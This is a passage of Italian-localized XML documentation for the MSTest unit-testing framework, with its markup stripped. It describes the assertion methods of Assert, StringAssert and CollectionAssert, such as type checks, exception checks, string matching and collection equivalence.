previsto non è incluso nella - gerarchia di ereditarietà dell'oggetto. - - - Oggetto che il test presuppone sia del tipo specificato. - - - Tipo previsto di . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Verifica se l'oggetto specificato è un'istanza del tipo previsto - e genera un'eccezione se il tipo previsto non è incluso nella - gerarchia di ereditarietà dell'oggetto. - - - Oggetto che il test presuppone sia del tipo specificato. - - - Tipo previsto di . - - - Messaggio da includere nell'eccezione quando - non è un'istanza di . Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Verifica se l'oggetto specificato è un'istanza del tipo previsto - e genera un'eccezione se il tipo previsto non è incluso nella - gerarchia di ereditarietà dell'oggetto. - - - Oggetto che il test presuppone sia del tipo specificato. - - - Tipo previsto di . - - - Messaggio da includere nell'eccezione quando - non è un'istanza di . Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Verifica se l'oggetto specificato non è un'istanza del tipo errato - e genera un'eccezione se il tipo specificato è incluso nella - gerarchia di ereditarietà dell'oggetto. - - - Oggetto che il test presuppone non sia del tipo specificato. - - - Tipo che non dovrebbe essere. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Verifica se l'oggetto specificato non è un'istanza del tipo errato - e genera un'eccezione se il tipo specificato è incluso nella - gerarchia di ereditarietà dell'oggetto. - - - Oggetto che il test presuppone non sia del tipo specificato. - - - Tipo che non dovrebbe essere. - - - Messaggio da includere nell'eccezione quando - è un'istanza di . Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Verifica se l'oggetto specificato non è un'istanza del tipo errato - e genera un'eccezione se il tipo specificato è incluso nella - gerarchia di ereditarietà dell'oggetto. - - - Oggetto che il test presuppone non sia del tipo specificato. - - - Tipo che non dovrebbe essere. - - - Messaggio da includere nell'eccezione quando - è un'istanza di . Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Genera un'eccezione AssertFailedException. - - - Always thrown. - - - - - Genera un'eccezione AssertFailedException. - - - Messaggio da includere nell'eccezione. Il messaggio viene - visualizzato nei risultati del test. - - - Always thrown. - - - - - Genera un'eccezione AssertFailedException. - - - Messaggio da includere nell'eccezione. Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Always thrown. - - - - - Genera un'eccezione AssertInconclusiveException. - - - Always thrown. - - - - - Genera un'eccezione AssertInconclusiveException. - - - Messaggio da includere nell'eccezione. Il messaggio viene - visualizzato nei risultati del test. - - - Always thrown. - - - - - Genera un'eccezione AssertInconclusiveException. - - - Messaggio da includere nell'eccezione. Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Always thrown. - - - - - Gli overload di uguaglianza statici vengono usati per confrontare istanze di due tipi e stabilire se - i riferimenti sono uguali. Questo metodo non deve essere usato per il confronto di uguaglianza tra due - istanze. Questo oggetto verrà sempre generato con Assert.Fail. Usare - Assert.AreEqual e gli overload associati negli unit test. - - Oggetto A - Oggetto B - Sempre false. - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Tipo di eccezione che dovrebbe essere generata. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Messaggio da includere nell'eccezione quando - non genera l'eccezione di tipo . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Tipo di eccezione che dovrebbe essere generata. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Tipo di eccezione che dovrebbe essere generata. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Messaggio da includere nell'eccezione quando - non genera l'eccezione di tipo . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Tipo di eccezione che dovrebbe essere generata. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Messaggio da includere nell'eccezione quando - non genera l'eccezione di tipo . - - - Matrice di parametri da usare quando si formatta . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Tipo di eccezione che dovrebbe essere generata. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Messaggio da includere nell'eccezione quando - non genera l'eccezione di tipo . - - - Matrice di parametri da usare quando si formatta . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Tipo di eccezione che dovrebbe essere generata. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - che esegue il delegato. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione AssertFailedException se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - Messaggio da includere nell'eccezione quando - non genera l'eccezione di tipo . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - che esegue il delegato. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione AssertFailedException se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - Messaggio da includere nell'eccezione quando - non genera l'eccezione di tipo . - - - Matrice di parametri da usare quando si formatta . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - che esegue il delegato. - - - - - Sostituisce caratteri Null ('\0') con "\\0". - - - Stringa da cercare. - - - Stringa convertita con caratteri Null sostituiti da "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Funzione helper che crea e genera un'eccezione AssertionFailedException - - - nome dell'asserzione che genera un'eccezione - - - messaggio che descrive le condizioni per l'errore di asserzione - - - Parametri. - - - - - Verifica la validità delle condizioni nel parametro - - - Parametro. - - - Nome dell'asserzione. - - - nome del parametro - - - messaggio per l'eccezione di parametro non valido - - - Parametri. - - - - - Converte in modo sicuro un oggetto in una stringa, gestendo valori e caratteri Null. - I valori Null vengono convertiti in "(null)". I caratteri Null vengono convertiti in "\\0". - - - Oggetto da convertire in una stringa. - - - Stringa convertita. - - - - - Asserzione della stringa. - - - - - Ottiene l'istanza singleton della funzionalità CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Verifica se la stringa specificata contiene la sottostringa specificata - e genera un'eccezione se la sottostringa non è presente nella - stringa di test. - - - Stringa che dovrebbe contenere . - - - Stringa che dovrebbe essere presente in . - - - Thrown if is not found in - . - - - - - Verifica se la stringa specificata contiene la sottostringa specificata - e genera un'eccezione se la sottostringa non è presente nella - stringa di test. - - - Stringa che dovrebbe contenere . - - - Stringa che dovrebbe essere presente in . - - - Messaggio da includere nell'eccezione quando - non è contenuto in . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not found in - . - - - - - Verifica se la stringa specificata contiene la sottostringa specificata - e genera un'eccezione se la sottostringa non è presente nella - stringa di test. - - - Stringa che dovrebbe contenere . - - - Stringa che dovrebbe essere presente in . - - - Messaggio da includere nell'eccezione quando - non è contenuto in . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not found in - . - - - - - Verifica se la stringa specificata inizia con la sottostringa specificata - e genera un'eccezione se la stringa di test non inizia con - la sottostringa. - - - Stringa che dovrebbe iniziare con . - - - Stringa che dovrebbe essere un prefisso di . - - - Thrown if does not begin with - . - - - - - Verifica se la stringa specificata inizia con la sottostringa specificata - e genera un'eccezione se la stringa di test non inizia con - la sottostringa. - - - Stringa che dovrebbe iniziare con . - - - Stringa che dovrebbe essere un prefisso di . - - - Messaggio da includere nell'eccezione quando - non inizia con . Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if does not begin with - . - - - - - Verifica se la stringa specificata inizia con la sottostringa specificata - e genera un'eccezione se la stringa di test non inizia con - la sottostringa. - - - Stringa che dovrebbe iniziare con . - - - Stringa che dovrebbe essere un prefisso di . - - - Messaggio da includere nell'eccezione quando - non inizia con . Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if does not begin with - . - - - - - Verifica se la stringa specificata termina con la sottostringa specificata - e genera un'eccezione se la stringa di test non termina con - la sottostringa. - - - Stringa che dovrebbe terminare con . - - - Stringa che dovrebbe essere un suffisso di . - - - Thrown if does not end with - . - - - - - Verifica se la stringa specificata termina con la sottostringa specificata - e genera un'eccezione se la stringa di test non termina con - la sottostringa. - - - Stringa che dovrebbe terminare con . - - - Stringa che dovrebbe essere un suffisso di . - - - Messaggio da includere nell'eccezione quando - non termina con . Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if does not end with - . - - - - - Verifica se la stringa specificata termina con la sottostringa specificata - e genera un'eccezione se la stringa di test non termina con - la sottostringa. - - - Stringa che dovrebbe terminare con . - - - Stringa che dovrebbe essere un suffisso di . - - - Messaggio da includere nell'eccezione quando - non termina con . Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if does not end with - . - - - - - Verifica se la stringa specificata corrisponde a un'espressione regolare e - genera un'eccezione se non corrisponde. - - - Stringa che dovrebbe corrispondere a . - - - Espressione regolare a cui dovrebbe - corrispondere. - - - Thrown if does not match - . - - - - - Verifica se la stringa specificata corrisponde a un'espressione regolare e - genera un'eccezione se non corrisponde. - - - Stringa che dovrebbe corrispondere a . - - - Espressione regolare a cui dovrebbe - corrispondere. - - - Messaggio da includere nell'eccezione quando - non corrisponde a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if does not match - . - - - - - Verifica se la stringa specificata corrisponde a un'espressione regolare e - genera un'eccezione se non corrisponde. - - - Stringa che dovrebbe corrispondere a . - - - Espressione regolare a cui dovrebbe - corrispondere. - - - Messaggio da includere nell'eccezione quando - non corrisponde a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if does not match - . - - - - - Verifica se la stringa specificata non corrisponde a un'espressione regolare e - genera un'eccezione se corrisponde. - - - Stringa che non dovrebbe corrispondere a . - - - Espressione regolare a cui non - dovrebbe corrispondere. - - - Thrown if matches . - - - - - Verifica se la stringa specificata non corrisponde a un'espressione regolare e - genera un'eccezione se corrisponde. - - - Stringa che non dovrebbe corrispondere a . - - - Espressione regolare a cui non - dovrebbe corrispondere. - - - Messaggio da includere nell'eccezione quando - corrisponde a . Il messaggio viene visualizzato nei risultati - del test. - - - Thrown if matches . - - - - - Verifica se la stringa specificata non corrisponde a un'espressione regolare e - genera un'eccezione se corrisponde. - - - Stringa che non dovrebbe corrispondere a . - - - Espressione regolare a cui non - dovrebbe corrispondere. - - - Messaggio da includere nell'eccezione quando - corrisponde a . Il messaggio viene visualizzato nei risultati - del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if matches . - - - - - Raccolta di classi helper per testare diverse condizioni associate - alle raccolte negli unit test. Se la condizione da testare non viene - soddisfatta, viene generata un'eccezione. - - - - - Ottiene l'istanza singleton della funzionalità CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Verifica se la raccolta specificata contiene l'elemento specificato - e genera un'eccezione se l'elemento non è presente nella raccolta. - - - Raccolta in cui cercare l'elemento. - - - Elemento che dovrebbe essere presente nella raccolta. - - - Thrown if is not found in - . - - - - - Verifica se la raccolta specificata contiene l'elemento specificato - e genera un'eccezione se l'elemento non è presente nella raccolta. - - - Raccolta in cui cercare l'elemento. - - - Elemento che dovrebbe essere presente nella raccolta. - - - Messaggio da includere nell'eccezione quando - non è contenuto in . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not found in - . - - - - - Verifica se la raccolta specificata contiene l'elemento specificato - e genera un'eccezione se l'elemento non è presente nella raccolta. - - - Raccolta in cui cercare l'elemento. - - - Elemento che dovrebbe essere presente nella raccolta. - - - Messaggio da includere nell'eccezione quando - non è contenuto in . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not found in - . - - - - - Verifica se la raccolta specificata non contiene l'elemento - specificato e genera un'eccezione se l'elemento è presente nella raccolta. - - - Raccolta in cui cercare l'elemento. - - - Elemento che non dovrebbe essere presente nella raccolta. - - - Thrown if is found in - . - - - - - Verifica se la raccolta specificata non contiene l'elemento - specificato e genera un'eccezione se l'elemento è presente nella raccolta. - - - Raccolta in cui cercare l'elemento. - - - Elemento che non dovrebbe essere presente nella raccolta. - - - Messaggio da includere nell'eccezione quando - è presente in . Il messaggio viene visualizzato nei risultati - del test. - - - Thrown if is found in - . - - - - - Verifica se la raccolta specificata non contiene l'elemento - specificato e genera un'eccezione se l'elemento è presente nella raccolta. - - - Raccolta in cui cercare l'elemento. - - - Elemento che non dovrebbe essere presente nella raccolta. - - - Messaggio da includere nell'eccezione quando - è presente in . Il messaggio viene visualizzato nei risultati - del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is found in - . - - - - - Verifica se tutti gli elementi della raccolta specificata sono non Null e genera - un'eccezione se un qualsiasi elemento è Null. - - - Raccolta in cui cercare gli elementi Null. - - - Thrown if a null element is found in . - - - - - Verifica se tutti gli elementi della raccolta specificata sono non Null e genera - un'eccezione se un qualsiasi elemento è Null. - - - Raccolta in cui cercare gli elementi Null. - - - Messaggio da includere nell'eccezione quando - contiene un elemento Null. Il messaggio viene visualizzato nei risultati del test. - - - Thrown if a null element is found in . - - - - - Verifica se tutti gli elementi della raccolta specificata sono non Null e genera - un'eccezione se un qualsiasi elemento è Null. - - - Raccolta in cui cercare gli elementi Null. - - - Messaggio da includere nell'eccezione quando - contiene un elemento Null. Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if a null element is found in . - - - - - Verifica se tutti gli elementi della raccolta specificata sono univoci o meno - e genera un'eccezione se due elementi qualsiasi della raccolta sono uguali. - - - Raccolta in cui cercare gli elementi duplicati. - - - Thrown if a two or more equal elements are found in - . - - - - - Verifica se tutti gli elementi della raccolta specificata sono univoci o meno - e genera un'eccezione se due elementi qualsiasi della raccolta sono uguali. - - - Raccolta in cui cercare gli elementi duplicati. - - - Messaggio da includere nell'eccezione quando - contiene almeno un elemento duplicato. Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if a two or more equal elements are found in - . - - - - - Verifica se tutti gli elementi della raccolta specificata sono univoci o meno - e genera un'eccezione se due elementi qualsiasi della raccolta sono uguali. - - - Raccolta in cui cercare gli elementi duplicati. - - - Messaggio da includere nell'eccezione quando - contiene almeno un elemento duplicato. Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if a two or more equal elements are found in - . - - - - - Verifica se una raccolta è un subset di un'altra raccolta e - genera un'eccezione se un qualsiasi elemento nel subset non è presente anche - nel superset. - - - Raccolta che dovrebbe essere un subset di . - - - Raccolta che dovrebbe essere un superset di - - - Thrown if an element in is not found in - . - - - - - Verifica se una raccolta è un subset di un'altra raccolta e - genera un'eccezione se un qualsiasi elemento nel subset non è presente anche - nel superset. - - - Raccolta che dovrebbe essere un subset di . - - - Raccolta che dovrebbe essere un superset di - - - Messaggio da includere nell'eccezione quando un elemento in - non è presente in . - Il messaggio viene visualizzato nei risultati del test. - - - Thrown if an element in is not found in - . - - - - - Verifica se una raccolta è un subset di un'altra raccolta e - genera un'eccezione se un qualsiasi elemento nel subset non è presente anche - nel superset. - - - Raccolta che dovrebbe essere un subset di . - - - Raccolta che dovrebbe essere un superset di - - - Messaggio da includere nell'eccezione quando un elemento in - non è presente in . - Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if an element in is not found in - . - - - - - Verifica se una raccolta non è un subset di un'altra raccolta e - genera un'eccezione se tutti gli elementi nel subset sono presenti anche - nel superset. - - - Raccolta che non dovrebbe essere un subset di . - - - Raccolta che non dovrebbe essere un superset di - - - Thrown if every element in is also found in - . - - - - - Verifica se una raccolta non è un subset di un'altra raccolta e - genera un'eccezione se tutti gli elementi nel subset sono presenti anche - nel superset. - - - Raccolta che non dovrebbe essere un subset di . - - - Raccolta che non dovrebbe essere un superset di - - - Messaggio da includere nell'eccezione quando ogni elemento in - è presente anche in . - Il messaggio viene visualizzato nei risultati del test. - - - Thrown if every element in is also found in - . - - - - - Verifica se una raccolta non è un subset di un'altra raccolta e - genera un'eccezione se tutti gli elementi nel subset sono presenti anche - nel superset. - - - Raccolta che non dovrebbe essere un subset di . - - - Raccolta che non dovrebbe essere un superset di - - - Messaggio da includere nell'eccezione quando ogni elemento in - è presente anche in . - Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if every element in is also found in - . - - - - - Verifica se due raccolte contengono gli stessi elementi e genera - un'eccezione se una delle raccolte contiene un elemento non presente - nell'altra. - - - Prima raccolta da confrontare. Contiene gli elementi previsti dal - test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Verifica se due raccolte contengono gli stessi elementi e genera - un'eccezione se una delle raccolte contiene un elemento non presente - nell'altra. - - - Prima raccolta da confrontare. Contiene gli elementi previsti dal - test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando un elemento viene trovato - in una delle raccolte ma non nell'altra. Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Verifica se due raccolte contengono gli stessi elementi e genera - un'eccezione se una delle raccolte contiene un elemento non presente - nell'altra. - - - Prima raccolta da confrontare. Contiene gli elementi previsti dal - test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando un elemento viene trovato - in una delle raccolte ma non nell'altra. Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Verifica se due raccolte contengono elementi diversi e genera - un'eccezione se le raccolte contengono gli stessi elementi senza - considerare l'ordine. - - - Prima raccolta da confrontare. Contiene gli elementi che il test - prevede siano diversi rispetto alla raccolta effettiva. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Verifica se due raccolte contengono elementi diversi e genera - un'eccezione se le raccolte contengono gli stessi elementi senza - considerare l'ordine. - - - Prima raccolta da confrontare. Contiene gli elementi che il test - prevede siano diversi rispetto alla raccolta effettiva. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - contiene gli stessi elementi di . Il messaggio - viene visualizzato nei risultati del test. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Verifica se due raccolte contengono elementi diversi e genera - un'eccezione se le raccolte contengono gli stessi elementi senza - considerare l'ordine. - - - Prima raccolta da confrontare. Contiene gli elementi che il test - prevede siano diversi rispetto alla raccolta effettiva. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - contiene gli stessi elementi di . Il messaggio - viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Verifica se tutti gli elementi della raccolta specificata sono istanze - del tipo previsto e genera un'eccezione se il tipo previsto non - è presente nella gerarchia di ereditarietà di uno o più elementi. - - - Raccolta contenente elementi che il test presuppone siano del - tipo specificato. - - - Tipo previsto di ogni elemento di . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Verifica se tutti gli elementi della raccolta specificata sono istanze - del tipo previsto e genera un'eccezione se il tipo previsto non - è presente nella gerarchia di ereditarietà di uno o più elementi. - - - Raccolta contenente elementi che il test presuppone siano del - tipo specificato. - - - Tipo previsto di ogni elemento di . - - - Messaggio da includere nell'eccezione quando un elemento in - non è un'istanza di - . Il messaggio viene visualizzato nei risultati del test. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Verifica se tutti gli elementi della raccolta specificata sono istanze - del tipo previsto e genera un'eccezione se il tipo previsto non - è presente nella gerarchia di ereditarietà di uno o più elementi. - - - Raccolta contenente elementi che il test presuppone siano del - tipo specificato. - - - Tipo previsto di ogni elemento di . - - - Messaggio da includere nell'eccezione quando un elemento in - non è un'istanza di - . Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Verifica se le due raccolte specificate sono uguali e genera un'eccezione - se sono diverse. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta prevista dai test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Thrown if is not equal to - . - - - - - Verifica se le due raccolte specificate sono uguali e genera un'eccezione - se sono diverse. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta prevista dai test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not equal to - . - - - - - Verifica se le due raccolte specificate sono uguali e genera un'eccezione - se sono diverse. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta prevista dai test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to - . - - - - - Verifica se le due raccolte specificate sono diverse e genera un'eccezione - se sono uguali. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta che i test presuppongono - non corrisponda a . - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Thrown if is equal to . - - - - - Verifica se le due raccolte specificate sono diverse e genera un'eccezione - se sono uguali. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta che i test presuppongono - non corrisponda a . - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se le due raccolte specificate sono diverse e genera un'eccezione - se sono uguali. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta che i test presuppongono - non corrisponda a . - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se le due raccolte specificate sono uguali e genera un'eccezione - se sono diverse. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta prevista dai test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Implementazione di compare da usare quando si confrontano elementi della raccolta. - - - Thrown if is not equal to - . - - - - - Verifica se le due raccolte specificate sono uguali e genera un'eccezione - se sono diverse. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta prevista dai test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Implementazione di compare da usare quando si confrontano elementi della raccolta. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not equal to - . - - - - - Verifica se le due raccolte specificate sono uguali e genera un'eccezione - se sono diverse. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta prevista dai test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Implementazione di compare da usare quando si confrontano elementi della raccolta. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to - . - - - - - Verifica se le due raccolte specificate sono diverse e genera un'eccezione - se sono uguali. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta che i test presuppongono - non corrisponda a . - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Implementazione di compare da usare quando si confrontano elementi della raccolta. - - - Thrown if is equal to . - - - - - Verifica se le due raccolte specificate sono diverse e genera un'eccezione - se sono uguali. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta che i test presuppongono - non corrisponda a . - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Implementazione di compare da usare quando si confrontano elementi della raccolta. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se le due raccolte specificate sono diverse e genera un'eccezione - se sono uguali. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta che i test presuppongono - non corrisponda a . - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Implementazione di compare da usare quando si confrontano elementi della raccolta. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Determina se la prima raccolta è un subset della seconda raccolta. - Se entrambi i set contengono elementi duplicati, il numero delle - occorrenze dell'elemento nel subset deve essere minore o uguale - a quello delle occorrenze nel superset. - - - Raccolta che il test presuppone debba essere contenuta in . - - - Raccolta che il test presuppone debba contenere . - - - True se è un subset di - ; in caso contrario, false. - - - - - Costruisce un dizionario contenente il numero di occorrenze di ogni - elemento nella raccolta specificata. - - - Raccolta da elaborare. - - - Numero di elementi Null presenti nella raccolta. - - - Dizionario contenente il numero di occorrenze di ogni elemento - 